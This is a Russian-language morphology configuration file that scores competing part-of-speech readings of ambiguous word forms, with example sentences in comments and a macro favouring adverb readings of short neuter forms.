wordforms_score сбора{ существительное }=-5 // В ближайшее время Денис улетает на очередные сборы.
wordforms_score предложенье{ существительное }=-5 // Вячеслав Евгеньевич готовит свой пакет предложений.
wordforms_score свитка{ существительное }=-5 // В кумранских свитках нередко встречается тайнопись
wordforms_score носка{ существительное }=-5 // Из-под подола выглядывали белые спортивные носки.
wordforms_score дыханье{ существительное }=-5 // При виде обнажившихся грудей перехватило дыхание.
wordforms_score усилье{ существительное }=-5 // Бесконечная борьба требовала беспрестанных усилий.
wordforms_score помещенье{ существительное }=-5 // Для обработки помещений ядами привлекают бомжей.
wordforms_score до{ существительное }=-5 // Санкционированная акция прошла с 16 до 17 часов.
wordforms_score ПАРКА{ существительное }=-5 // Королевские парки занимали обширную территорию.
wordforms_score НИМ{ существительное }=-5 // Василий, не отрываясь, следит за ним взглядом.
wordforms_score СТОЛА{ существительное }=-5 // На столе могут вырастать лужайки зеленой пищи.
wordforms_score низка { существительное }=-5
wordforms_score мешка{ существительное }=-5 // Мешки с углем один за другим полетели в темную воду.
wordforms_score стен { существительное }=-5 // По стенам развеваются блестящие знамена света.
wordforms_score ряда { существительное }=-5
wordforms_score так { существительное }=-5
wordforms_score снова { существительное }=-5
wordforms_score лагер { существительное }=-5
wordforms_score гор { существительное }=-5
wordforms_score карт { существительное }=-5 // Военные топографы и геодезисты сверяют карты.
wordforms_score зала { существительное }=-5
wordforms_score зало { существительное }=-5
wordforms_score миро { существительное }=-5 // В макротеле Мира отпечатывается мировая душа.
wordforms_score мира { существительное }=-5
wordforms_score облак { существительное }=-5 // По ночным облакам зарумянилось дымное зарево.
wordforms_score троп { существительное }=-5 // По берегу идут нерегулярные туристские тропы.
wordforms_score пещер { существительное }=-5
wordforms_score ко{ существительное }=-10 // Разумеется, ко мне он больше не показывался.
wordforms_score суда{ существительное }=-5 // В ближайшее время начнется его рассмотрение в суде.
wordform_score "то и дело" { наречие }=5 // Во всяком случае, не придется то и дело нагибаться.
wordform_score "воды" { число:мн } =-1 // они дали ему воды
wordform_score "лицо" { одуш:одуш } =-1
wordform_score "лица" { одуш:одуш } =-1 // Ему даже делают специальный массаж лица.
wordform_score "лицу" { одуш:одуш } =-1
wordform_score "лице" { одуш:одуш } =-1
wordform_score "лицом" { одуш:одуш } =-1
wordform_score "замок" { глагол } =-5 // замок на горе
wordform_score "самогонки" { число:мн } = -1 // Пришлось добавить самогонки.
wordform_score "интуиции" { число:мн } = -1 // Больше доверяют интуиции.
wordform_score "воды" { число:мн } = -1 // Джек добавил воды.
wordform_score "во" { вводное } = -2 // В детях эта программа усиливается во много раз.
wordform_score "на" { глагол } =-1 // В эфир выходили на несколько секунд.
wordform_score "веселей" { глагол } = -8 // В колонне веселей.
wordform_score "гранит" { глагол } = -3 // Почем гранит науки?
wordform_score "катя" { деепричастие } = -2 // Катя, давай!
wordform_score "прочь" { глагол } = -5 // пойти прочь
wordform_score "сволочь" { глагол } = -5 // - Сволочь!
wordform_score "юля" { деепричастие } = -2 // Юля, уважь человека.
wordform_score "катя" { деепричастие } = -2 // я направляюсь сюда, Катя.
wordform_score "женя" { деепричастие } = -2 // Я больше не буду, Женя.
wordform_score "нашей" { глагол } = -3 // - А вот и первые плоды нашей работы!
wordform_score "Камчатки" { число:мн } = -2 // К аварийной подстанции в столице Камчатки подключают новый трансформатор
wordform_score "воротам" { род:муж } = -2 // Беседуя, они подошли к воротам.
wordform_score "один" { существительное } = -5 // Значит, он не один.
wordform_score "то-то" { частица } = 2 // То-то выслуживается, вас гоняет.
wordform_score "погреб" { глагол } =-2 // А вот погреб...
wordform_score "просим" { прилагательное } = -5 // Просим всей группой.
wordform_score "крови" { число:мн } = -5 // Скорее разойдитесь, не проливая крови!
wordform_score "скоро" { прилагательное } = -4 // Скоро в строй?
wordform_score "подъем" { глагол } = -5 // Подъем, товарищ майор!
wordform_score "порой" { глагол } = -5 // И порой не без успеха.
wordform_score "порой" { существительное } = -1 // Они ворчат порой.
wordform_score "погоды" { число:мн } = -3 // По случаю чудной погоды Алексея тоже вывозили кататься.
wordform_score "дарим" { прилагательное} = -5 // - Решено, дарим один ящик командиру полка!
wordform_score "хватит" { глагол } = -1 // - На одну атаку хватит.
wordform_score "как ни в чем не бывало" { наречие } = 1 // Ординарец в сенях спал как ни в чем не бывало.
wordform_score "разве что" { наречие } = 1 // Так жарко бывает разве что перед грозой.
wordform_score "потому что" { союз } =5 // - Потому что мне так нравится.
wordform_score "на поводу у"{ предлог} = 1 // Нельзя идти на поводу у таких состояний
wordform_score "что" { наречие } = -8
wordform_score "так что" { наречие } = -5 // Ну, так что вы скажете?
wordform_score "вот" { наречие } = -3
wordform_score "Иду" { существительное } = -3 // - Иду к тебе!
wordform_score "хотите" { НАКЛОНЕНИЕ:ПОБУД } = -5
wordform_score "всего" { наречие } = -4 // Он всего боялся
wordform_score "всего лишь" { наречие } = 2
wordform_score "еле-еле" { наречие } = 2
wordform_score "туда-сюда" { наречие } = 2
wordform_score "туда-то" { наречие } = 2
wordform_score "отчего-то" { наречие } = 2
wordform_score "когда-то" { наречие } = 2
wordform_score "чуть-чуть" { наречие } = 2
wordform_score "так-то" { наречие } = 2
wordform_score "наконец-то" { наречие } = 2
wordform_score "туда-то" { наречие } = 2
wordform_score "тут-то" { наречие } = 2
wordform_score "Наконец-то" { наречие } = 2
wordform_score "добро" { наречие } = -4 // - Знаю я это добро.
wordform_score "должно" { наречие } = -5 // Но так и должно быть.
wordform_score "тем не менее" { наречие } = 1
wordform_score "прежде всего" { наречие } = 1 // Нужно прежде всего знать группу крови.
wordform_score "выходит" { наречие } = -2 // это из тебя страх так выходит
wordform_score "трибуны" { одуш:одуш } = -2 // Трибуны взрываются аплодисментами.
wordform_score "по прошествии" { предлог } = 5 // По прошествии двух дней следствие не может установить их личности.
wordform_score "сроком на" { предлог } = 2 // Аэропорт перешел в управление компании сроком на 30 лет.
// Я ничего подобного не видал
wordform_score "ничего" { наречие } = -5
// Не было таких прецедентов пока что.
// ^^^^^^^^
wordform_score "пока что" { наречие } = 1
wordform_score "приводим" { прилагательное } = -5 // Приводим полный текст этого заявления.
// Она поколебалась, прежде чем ответить.
// ^^^^^^^^^^
wordform_score "прежде чем" { союз } = 1
wordform_score "а то" { союз } = 1 // А то тебе плохо станет.
wordform_score "не то" { союз } = 1 // Вставай, не то опоздаем
wordform_score "а не то" { союз } = 1 // Сядь, а не то упадешь
// кости у всех одинаковые
// ^^^^^
wordform_score "кости" { глагол } = -3
wordform_score "чести" { глагол } = -3
// Мы знаем друг друга много лет
// ^^^^^^^^^^
wordform_score "друг друга" { существительное падеж:парт } = -1
// Текст речи премьер-министра
// ^^^^^^^^^^^^^^^^
wordform_score "премьер-министр" { существительное } = 1
wordform_score "премьер-министра" { существительное } = 1
wordform_score "премьер-министром" { существительное } = 1
wordform_score "премьер-министру" { существительное } = 1
wordform_score "премьер-министре" { существительное } = 1
wordform_score "премьер-министры" { существительное } = 1
wordform_score "премьер-министров" { существительное } = 1
wordform_score "премьер-министрами" { существительное } = 1
wordform_score "премьер-министрам" { существительное } = 1
wordform_score "премьер-министрах" { существительное } = 1
// Хотим получить максимум информации
// ^^^^^^^^^^
wordform_score "информации" { существительное число:мн } = -5
wordform_score "тому назад" { послелог } = 1
// Он просто вынужден закончить цикл историй, так как ограничены размеры книги.
wordform_score "так как" { союз } = 5
// Поможем ему сена накосить
// ^^^^
wordform_score "сена" { существительное число:мн } = -5
// Подавляем множественное число "ПУШОК":
// "Мы видели их пушки"
wordform_score "пушки" { существительное род:муж } = -5
wordform_score "это" { частица } = -2
// Кажется, вчера еще бродил я в этих рощах.
wordform_score "кажется" { наречие } = -2
wordform_score "лицом к лицу" { наречие } = 5
// из конюшни они возвращались бок о бок.
wordform_score "бок о бок" { наречие } = 2
// люди спят тем более.
wordform_score "тем более" { наречие } = 2
wordform_score "в связи с" { предлог } = 1
// то есть могла бы
wordform_score "то есть" { союз } = 3
// ПОКАДИТЬ(ПОКАЖУ)
// wordform_score "покажу" { глагол глагол:покадить{} } = -5
// ПРОПАСТЬ>ПРОПАЛИТЬ(ПРОПАЛИ)
wordform_score "пропали" { глагол наклонение:побуд } = -5
// ПОПАСТЬ > ПОПАЛИТЬ
wordform_score "попали" { глагол наклонение:побуд } = -5
// предпочитаем вариант безличного глагола:
//wordform_score "оставалось" { глагол } = -2
//wordform_score "остается" { глагол } = -2
//wordform_score "останется" { глагол } = -2
//wordform_score "осталось" { глагол } = -2
wordform_score "стали" { существительное число:мн } = -5
wordform_score "стали" { существительное падеж:род } = -3
// Жаль, если принятые обязательства не выполняются
// ^^^^
wordform_score "жаль" { глагол } = -3
wordform_score "давным-давно" { наречие } = 2
// Можно ли сейчас применять старые методы?
wordform_score "методам" { существительное род:жен } = -5
wordform_score "методах" { существительное род:жен } = -5
wordform_score "методу" { существительное род:жен } = -5
wordform_score "методе" { существительное род:жен } = -5
wordform_score "метода" { существительное род:жен } = -5
wordform_score "методы" { существительное род:жен } = -5
// Не вижу необходимости
// ^^^^^^^^^^^^^
wordform_score "необходимости" { число:мн } = -1
wordform_score "о" { частица } = -2
wordform_score "Спешите" { наклонение:побуд } = -1
// отдадим преимущество безличной форме:
// мне удалось поспать
// ^^^^^^^
wordform_score "удалось" { глагол } = -3
// Придавим вариант "ПАР^ОК"
// В парке был бассейн с золотыми рыбками.
// ^^^^^
wordform_score "парке" { ПЕРЕЧИСЛИМОСТЬ:НЕТ } = -10
// слово БЫЛО редко выступает в роли наречия, но иногда бывает:
// один из воинов пошел было к дверям
// ^^^^
wordform_score "было" { наречие } = -10
// Это было примерно месяц назад
wordform_score "примерно" { прилагательное } = -2
// чтобы подавить ВРЯД(ЛИ)
wordform_score "вряд ли" { наречие } = 2
// при помощи женской страсти?
// ^^^^^^^^^^
wordform_score "при помощи" { предлог } = 5
wordform_score "Владимиру" { существительное род:жен } = -2
wordform_score "Владимира" { существительное род:жен } = -2
wordform_score "Владимире" { существительное род:жен } = -2
// у тебя впереди серьезное дело
wordform_score "дело" { глагол } = -5
wordform_score "правды" { существительное число:мн } = -2
// ты сволочь
wordform_score "сволочь" { глагол } = -2
// во мне все же росло беспокойство
wordform_score "росло" { прилагательное } = -1
// конкуренция между ЗАБРАТЬ.гл и ЗАБРАЛО.сущ
wordform_score "забрала" { существительное } = -2
wordform_score "забрало" { существительное } = -2
wordform_score "забрал" { существительное } = -2
// обычно ЗАВТРА - наречие:
// можно зайти за этим завтра?
// ^^^^^^
wordform_score "завтра" { существительное } = -10
wordform_score "сегодня" { существительное } = -15
// взять деньги
wordform_score "деньги" { существительное падеж:род } = -10
// Подавляем просторечный вариант "Сашок"
// Сашка не знал
wordform_score "Сашка" { существительное падеж:вин } = -1
wordform_score "Сашка" { существительное падеж:род } = -1
// обычно это - прилагательное
wordform_score "простой" { глагол } = -1
// есть варианты ТУШЬ и ТУША (помимо глагола ТУШИТЬ). Вариант ТУШЬ гасим.
wordform_score "тушь" { существительное одуш:неодуш } = -5
// обычно ПОЧТИ - это наречие
// Почти совсем темно.
// ^^^^^
wordform_score "почти" { глагол } = -5
// теперь самое время бросить кости
wordform_score "кости" { глагол } = -5
wordform_score "брехло" { наречие } = -10
wordform_score "силой" { наречие } = -2
wordform_score "может" { вводное } = -1
// скорее доедай
wordform_score "скорее" { вводное } = -1
wordform_score "пять" { глагол } = -5
wordform_score "спины" { существительное род:муж } = -1
wordform_score "спинах" { существительное род:муж } = -1
wordform_score "спине" { существительное род:муж } = -1
// хозяин дает корм псам
wordform_score "корм" { существительное род:жен падеж:род } = -5
// несмотря на жару, солдаты носили шлемы и кирасы.
wordform_score "несмотря на" { предлог } = 10
// В соответствии с шариатом, свинину употреблять запрещено
// ^^^^^^^^^^^^^^^^
wordform_score "В соответствии с" { предлог } = 2
wordform_score "В соответствии со" { предлог } = 2
// В Дамаске в ходе ракетного обстрела погиб чиновник Евросоюза
// ^^^^^^
wordform_score "в ходе" { предлог } = 2
// Мы пошли вместе по направлению к городу.
// ^^^^^^^^^^^^^^^^
wordform_score "по направлению к" { предлог } = 2
wordform_score "по направлению ко" { предлог } = 2
// шеф просит еще раз проверить
// wordform_score "еще раз" { наречие } = 10
// очень трудно найти задачу по силам
wordform_score "по силам" { безлич_глагол } = -1
// есть все же средства
// ^^^^^^
wordform_score "все же" { наречие } = 10
// все время находился в командировках
// ^^^^^^^^^
//wordform_score "все время" { наречие } = 2
// Однако эти средства до сих пор не дошли до реального сектора экономики
wordform_score "до сих пор" { наречие } = 10
// сбыться на самом деле
wordform_score "на самом деле" { наречие } = 10
// Лошадь встала на дыбы.
wordform_score "встать на дыбы" { инфинитив } = 2
wordform_score "встала на дыбы" { глагол } = 2
wordform_score "встал на дыбы" { глагол } = 2
wordform_score "встали на дыбы" { глагол } = 2
wordform_score "встанет на дыбы" { глагол } = 2
wordform_score "пузырь" { глагол } = -2
// выражение его лица было довольно странным
wordform_score "довольно" { прилагательное } = -1
// они как будто пришли издалека
// ^^^^^^^^^
wordform_score "как будто" { наречие } = 2
// Лошадь встала на дыбы.
wordform_score "встать на дыбы" { глагол } = 2
// мой друг как всегда был прав
// ^^^^^^^^^^
wordform_score "как всегда" { наречие } = 2
// без кольца все стало как обычно
// ^^^^^^^^^^
wordform_score "как обычно" { наречие } = 2
// однако совершенно необходимо время от времени менять темп.
// ^^^^^^^^^^^^^^^^
wordform_score "время от времени" { наречие } = 5
// все равно уже сорвал
// ^^^^^^^^^
wordform_score "все равно" { наречие } = 10
// деревья полностью закрывают серое небо
// ^^^^^^^^^
wordform_score "полностью" { существительное } = -100
// волосы обоих были все еще мокрые.
// ^^^^^^^
wordform_score "все еще" { наречие } = 2
// всего один день.
wordform_score "день" { глагол } = -1
// ты все это прекрасно знаешь
// ^^^^^^^
wordform_score "все это" { местоим_сущ } = 1
// Андрюха хотел жить на отшибе
// ^^^^^^^^^
wordform_score "на отшибе" { наречие } = 1
// ПОЙМА vs ПОНЯТЬ
wordform_score "пойму" { существительное } = -1
// лучше всего сделать это сразу
// ^^^^^^^^^^^
wordform_score "лучше всего" { безлич_глагол } = 1
wordform_score "нахожусь" { глагол вид:соверш } = -2
wordform_score "находимся" { глагол вид:соверш } = -2
wordform_score "находится" { глагол вид:соверш } = -2
wordform_score "находитесь" { глагол вид:соверш } = -2
wordform_score "находился" { глагол вид:соверш } = -2
wordform_score "находилась" { глагол вид:соверш } = -2
wordform_score "находилось" { глагол вид:соверш } = -2
wordform_score "находились" { глагол вид:соверш } = -2
wordform_score "находим" { прилагательное } = -5 // В Полинезии находим культ черепов вождей.
wordform_score пошли { глагол время:прошедшее } = 1 // мы пошли домой
wordform_score пошли { глагол наклонение:побуд } = -1 // не пошли!
wordform_score спешить { инфинитив вид:несоверш } = 1 // спеш^ить (торопиться)
wordform_score спешил { глагол вид:несоверш }=1
wordform_score спешила { глагол вид:несоверш }=1
wordform_score спешили { глагол вид:несоверш }=1
wordform_score спеши { глагол вид:несоверш }=1
wordform_score спешить { инфинитив вид:соверш } =-2 // сп^ешить (спустить с коня на землю)
wordform_score спешил { глагол вид:соверш }=-2
wordform_score спешила { глагол вид:соверш }=-2
wordform_score спешили { глагол вид:соверш }=-2
wordform_score лето { существительное род:ср } = 1
wordform_score лёт { существительное род:муж } = -5
// Коля, давай-ка выпей молока
wordform_score выпей { глагол } = 1
wordform_score выпей { существительное } = -2
wordform_score видно { наречие } = -3
//wordform_score видно { прилагательное } = 0
//wordform_score видно { вводное } = -1
//wordform_score времени { существительное } = 1
wordform_score времени { глагол } = -5 // О факторе времени.
//wordform_score перед { предлог } = 1
wordform_score перед { существительное } = -2
wordform_score на { предлог } = 1
wordform_score на { частица } = -10
wordform_score жил { существительное } = -1 // жила
wordform_score жил { глагол } = 1 // жить
wordform_score любой { существительное } = -1 // Люба
wordform_score жал { существительное } = -10 // жало
wordform_score жал { глагол } = 1 // жать
wordform_score велик { прилагательное } = -1 // великий
wordform_score велика { существительное } = -10
wordform_score велика { прилагательное } = 1 // великий
wordform_score велики { существительное } = -10
wordform_score велики { прилагательное } = 1 // великий
wordform_score были { существительное } = -10
wordform_score были { глагол } = 1
wordform_score весь { существительное } = -10
wordform_score весь { глагол } = -10
wordform_score весь { прилагательное } = 1
wordform_score вещей { существительное } = 1
wordform_score вещей { прилагательное } = -1
wordform_score времени { глагол } = -10
wordform_score времени { существительное } = 1
//wordform_score все { местоим_сущ } = 1
//wordform_score все { прилагательное } = 1
wordform_score все { наречие } = -2
wordform_score все { частица } = -2
wordform_score всей { глагол } = -10
wordform_score всей { прилагательное } = 1
//wordform_score дали { глагол } = 1
wordform_score дали { существительное } = -1
//wordform_score смог { глагол } = 1
wordform_score смог { существительное } = -1
wordform_score действительно { прилагательное } = -10
wordform_score действительно { наречие } = 1
// wordform_score дел { существительное } = 1
// wordform_score дел { глагол } = 1
wordform_score дело { существительное } = 1
wordform_score дело { глагол } = -1
// wordform_score дела { существительное } = 1
// wordform_score дела { глагол } = 1
wordform_score день { существительное } = 1
wordform_score день { глагол } = -10
wordform_score для { предлог } = 1
wordform_score для { деепричастие } = -10
wordform_score какая { прилагательное } = 1
wordform_score какая { деепричастие } = -10
wordform_score конечно { прилагательное } = -1
wordform_score конечно { наречие } = 1
wordform_score мая { существительное одуш:неодуш } = 1
wordform_score мая { существительное одуш:одуш } = -1
wordform_score моря { существительное } = 1
wordform_score моря { деепричастие } = -10
wordform_score моя { прилагательное } = 1
wordform_score моя { деепричастие } = -10
wordform_score особой { прилагательное } = 1
wordform_score особой { существительное } = -1
wordform_score пора { существительное } = -1
wordform_score пора { безлич_глагол } = 1
wordform_score при { предлог } = 1
wordform_score при { глагол } = -10
wordform_score разрыв { существительное } = 1
wordform_score разрыв { деепричастие } = -1
wordform_score совести { существительное число:ед } = 1
wordform_score совести { существительное число:мн } = -5
wordform_score совести { глагол } = -2
wordform_score хвои { глагол } = -2 // Кубдя подбросил хвои.
wordform_score споров { существительное } = 1
wordform_score споров { деепричастие } = -1
wordform_score стать { существительное } = -1
wordform_score стать { инфинитив } = 1
wordform_score такая { деепричастие } = -10 // такать
wordform_score такая { прилагательное } = 1
wordform_score три { глагол } = -1 // тереть
wordform_score три { числительное } = 1
wordform_score тут { существительное одуш:неодуш } = -10 // тут (тутовое дерево)
wordform_score тут { наречие } = 1
wordform_score уж { частица } = 1
wordform_score уж { наречие } = 1
wordform_score уж { существительное } = -2
wordform_score уже { наречие степень:атриб } = 1
wordform_score уже { прилагательное } = -3 // узкий
wordform_score уже { существительное } = -2
wordform_score уже { наречие степень:сравн } = -5 // узко
wordform_score хотя { деепричастие } = -10 // хотеть
wordform_score хотя { союз } = 1
// краткие формы среднего рода прилагательных используются очень редко, в отличие
// от буквально совпадающих с ними наречий
#define PreferAdverb(x) \
#begin
//wordform_score x { наречие } = 2000000
wordform_score x { прилагательное } = -2
#end
PreferAdverb( "абсолютно" )
PreferAdverb( "абстрактно" )
PreferAdverb( "абсурдно" )
PreferAdverb( "аварийно" )
PreferAdverb( "автоматично" )
PreferAdverb( "авторитарно" )
PreferAdverb( "авторитетно" )
PreferAdverb( "азартно" )
PreferAdverb( "аккуратно" )
PreferAdverb( "активно" )
PreferAdverb( "актуально" )
PreferAdverb( "алогично" )
PreferAdverb( "амбивалентно" )
PreferAdverb( "аномально" )
PreferAdverb( "анонимно" )
PreferAdverb( "аргументировано" )
PreferAdverb( "аристократично" )
PreferAdverb( "архиважно" )
PreferAdverb( "аскетично" )
PreferAdverb( "афористично" )
PreferAdverb( "капризно" )
PreferAdverb( "кардинально" )
PreferAdverb( "карикатурно" )
PreferAdverb( "категорично" )
PreferAdverb( "качественно" )
PreferAdverb( "классно" )
PreferAdverb( "комично" )
PreferAdverb( "комфортабельно" )
PreferAdverb( "комфортно" )
PreferAdverb( "конвульсивно" )
PreferAdverb( "конечно" )
PreferAdverb( "конкретно" )
PreferAdverb( "конструктивно" )
PreferAdverb( "контрастно" )
PreferAdverb( "концептуально" )
PreferAdverb( "корректно" )
PreferAdverb( "кратковременно" )
PreferAdverb( "крестообразно" )
PreferAdverb( "кристально" )
PreferAdverb( "круглосуточно" )
PreferAdverb( "курьезно" )
PreferAdverb( "кучно" )
PreferAdverb( "комплиментарно" )
PreferAdverb( "агрессивно" )
PreferAdverb( "адекватно" )
PreferAdverb( "алчно" )
PreferAdverb( "амбициозно" )
PreferAdverb( "аморально" )
PreferAdverb( "аналогично" )
PreferAdverb( "анекдотично" )
PreferAdverb( "апатично" )
PreferAdverb( "аполитично" )
PreferAdverb( "артистично" )
PreferAdverb( "асимметрично" )
PreferAdverb( "ассоциативно" )
PreferAdverb( "красно" )
PreferAdverb( "конфиденциально" )
PreferAdverb( "клятвенно" )
PreferAdverb( "краткосрочно" )
PreferAdverb( "круглогодично" )
PreferAdverb( "когерентно" )
PreferAdverb( "конъюнктурно" )
PreferAdverb( "конформно" )
PreferAdverb( "асинхронно" )
PreferAdverb( "аритмично" )
PreferAdverb( "альтруистично" )
PreferAdverb( "критично" )
PreferAdverb( "авантюрно" )
PreferAdverb( "автобиографично" )
PreferAdverb( "автономно" )
PreferAdverb( "аддитивно" )
PreferAdverb( "ажурно" )
PreferAdverb( "азбучно" )
PreferAdverb( "академично" )
PreferAdverb( "аллегорично" )
PreferAdverb( "альтернативно" )
PreferAdverb( "аморфно" )
PreferAdverb( "антагонистично" )
PreferAdverb( "антинаучно" )
PreferAdverb( "антиобщественно" )
PreferAdverb( "аппетитно" )
PreferAdverb( "ароматно" )
PreferAdverb( "архаично" )
PreferAdverb( "атипично" )
PreferAdverb( "аутентично" )
PreferAdverb( "каверзно" )
PreferAdverb( "капитально" )
PreferAdverb( "каплеобразно" )
PreferAdverb( "катастрофично" )
PreferAdverb( "келейно" )
PreferAdverb( "клешнеобразно" )
PreferAdverb( "клиновидно" )
PreferAdverb( "клинообразно" )
PreferAdverb( "коварно" )
PreferAdverb( "комедийно" )
PreferAdverb( "консервативно" )
PreferAdverb( "конституционно" )
PreferAdverb( "конусовидно" )
PreferAdverb( "конусообразно" )
PreferAdverb( "корыстно" )
PreferAdverb( "косвенно" )
PreferAdverb( "косноязычно" )
PreferAdverb( "кошмарно" )
PreferAdverb( "кощунственно" )
PreferAdverb( "красочно" )
PreferAdverb( "криводушно" )
PreferAdverb( "кровожадно" )
PreferAdverb( "крохотно" )
PreferAdverb( "крупно" )
PreferAdverb( "культурно" )
PreferAdverb( "куполообразно" )
PreferAdverb( "кустарно" )
PreferAdverb( "акцентировано" )
/*-----------------------
select F1.name as word, Concat( '// ', C1.name, ':', E1.name, '{} и ', C2.name, ':', E2.name, '{}' )
from sg_entry E1, sg_entry E2, sg_form F1, sg_form F2, sg_class C1, sg_class C2
where E1.id_class!=E2.id_class and E1.name!='???' and
F1.id_entry=E1.id and F2.id_entry=E2.id and F1.name=F2.name and C1.id=E1.id_class and C2.id=E2.id_class and
E1.id<E2.id
order by F1.name
-------------------------*/
wordform_score "атакуем" { глагол } = 1 // ГЛАГОЛ:атаковать{} и ПРИЛАГАТЕЛЬНОЕ:атакуемый{}
wordform_score "атакуем" { прилагательное } = -10 // ГЛАГОЛ:атаковать{} и ПРИЛАГАТЕЛЬНОЕ:атакуемый{}
wordform_score "классифицируем" { глагол } = 1 // ГЛАГОЛ:классифицировать{} и ПРИЛАГАТЕЛЬНОЕ:классифицируемый{}
wordform_score "классифицируем" { прилагательное } = -10 // ГЛАГОЛ:классифицировать{} и ПРИЛАГАТЕЛЬНОЕ:классифицируемый{}
wordform_score "компенсируем" { глагол } = 1 // ГЛАГОЛ:компенсировать{} и ПРИЛАГАТЕЛЬНОЕ:компенсируемый{}
wordform_score "компенсируем" { прилагательное } = -10 // ГЛАГОЛ:компенсировать{} и ПРИЛАГАТЕЛЬНОЕ:компенсируемый{}
wordform_score "Коля" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:Коля{} и ДЕЕПРИЧАСТИЕ:коля{}
wordform_score "Коля" { ДЕЕПРИЧАСТИЕ } = -10 // СУЩЕСТВИТЕЛЬНОЕ:Коля{} и ГЛАГОЛ:колоть{}
wordform_score "Коли" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:Коля{} и СОЮЗ:коли{}
wordform_score "Коли" { ГЛАГОЛ } = -2 // СУЩЕСТВИТЕЛЬНОЕ:Коля{} и ГЛАГОЛ:колоть{}
wordform_score "Колю" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:Коля{} и ГЛАГОЛ:колоть{}
wordform_score "Колю" { ГЛАГОЛ } = -2 // СУЩЕСТВИТЕЛЬНОЕ:Коля{} и ГЛАГОЛ:колоть{}
wordform_score "Кати" { СУЩЕСТВИТЕЛЬНОЕ } = 2 // СУЩЕСТВИТЕЛЬНОЕ:Катя{} и ГЛАГОЛ:катить{}
wordform_score "Кати" { ГЛАГОЛ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:Катя{} и ГЛАГОЛ:катить{}
wordform_score "куплю" { СУЩЕСТВИТЕЛЬНОЕ } = -1 // СУЩЕСТВИТЕЛЬНОЕ:купля{} и ГЛАГОЛ:купить{}
wordform_score "куплю" { ГЛАГОЛ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:купля{} и ГЛАГОЛ:купить{}
wordform_score "крали" { СУЩЕСТВИТЕЛЬНОЕ } = -1 // СУЩЕСТВИТЕЛЬНОЕ:краля{} и ГЛАГОЛ:красть{}
wordform_score "крали" { ГЛАГОЛ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:краля{} и ГЛАГОЛ:красть{}
wordform_score "крести" { СУЩЕСТВИТЕЛЬНОЕ } = -2 // СУЩЕСТВИТЕЛЬНОЕ:крести{} и ГЛАГОЛ:крестить{}
wordform_score "крести" { ГЛАГОЛ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:крести{} и ГЛАГОЛ:крестить{}
wordform_score "крыло" { СУЩЕСТВИТЕЛЬНОЕ } = 1000000 // СУЩЕСТВИТЕЛЬНОЕ:крыло{} и ГЛАГОЛ:крыть{}
wordform_score "крыло" { ГЛАГОЛ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:крыло{} и ГЛАГОЛ:крыть{}
wordform_score "крыла" { СУЩЕСТВИТЕЛЬНОЕ } = 2 // СУЩЕСТВИТЕЛЬНОЕ:крыло{} и ГЛАГОЛ:крыть{}
wordform_score "крыла" { ГЛАГОЛ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:крыло{} и ГЛАГОЛ:крыть{}
wordform_score "крыло" { СУЩЕСТВИТЕЛЬНОЕ } = 2 // СУЩЕСТВИТЕЛЬНОЕ:крыло{} и ГЛАГОЛ:крыть{}
wordform_score "крыло" { ГЛАГОЛ } = -1 // СУЩЕСТВИТЕЛЬНОЕ:крыло{} и ГЛАГОЛ:крыть{}
wordform_score "ком" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:ком{} и МЕСТОИМ_СУЩ:кто{}
wordform_score "ком" { МЕСТОИМ_СУЩ } = 2 // СУЩЕСТВИТЕЛЬНОЕ:ком{} и МЕСТОИМ_СУЩ:кто{}
wordform_score "кому" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:ком{} и МЕСТОИМ_СУЩ:кто{}
wordform_score "кому" { МЕСТОИМ_СУЩ } = 2 // СУЩЕСТВИТЕЛЬНОЕ:ком{} и МЕСТОИМ_СУЩ:кто{}
wordform_score "Костя" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:Костя{} и ДЕЕПРИЧАСТИЕ:костя{}
wordform_score "Костя" { ДЕЕПРИЧАСТИЕ } = -10 // СУЩЕСТВИТЕЛЬНОЕ:Костя{} и ДЕЕПРИЧАСТИЕ:костя{}
wordform_score "кувырком" { СУЩЕСТВИТЕЛЬНОЕ } = -10 // СУЩЕСТВИТЕЛЬНОЕ:кувырок{} и НАРЕЧИЕ:кувырком{}
wordform_score "кувырком" { НАРЕЧИЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:кувырок{} и НАРЕЧИЕ:кувырком{}
wordform_score "колея" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:колея{} и ДЕЕПРИЧАСТИЕ:колея{}
wordform_score "колея" { ДЕЕПРИЧАСТИЕ } = -10 // СУЩЕСТВИТЕЛЬНОЕ:колея{} и ДЕЕПРИЧАСТИЕ:колея{}
wordform_score "качком" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:качок{} и ПРИЛАГАТЕЛЬНОЕ:качкий{}
wordform_score "качком" { ПРИЛАГАТЕЛЬНОЕ } = -10 // СУЩЕСТВИТЕЛЬНОЕ:качок{} и ПРИЛАГАТЕЛЬНОЕ:качкий{}
wordform_score "канал" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:канал{} и ГЛАГОЛ:канать{}
wordform_score "канал" { ГЛАГОЛ } = -2 // СУЩЕСТВИТЕЛЬНОЕ:канал{} и ГЛАГОЛ:канать{}
wordform_score "канала" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:канал{} и ГЛАГОЛ:канать{}
wordform_score "канала" { ГЛАГОЛ } = -2 // СУЩЕСТВИТЕЛЬНОЕ:канал{} и ГЛАГОЛ:канать{}
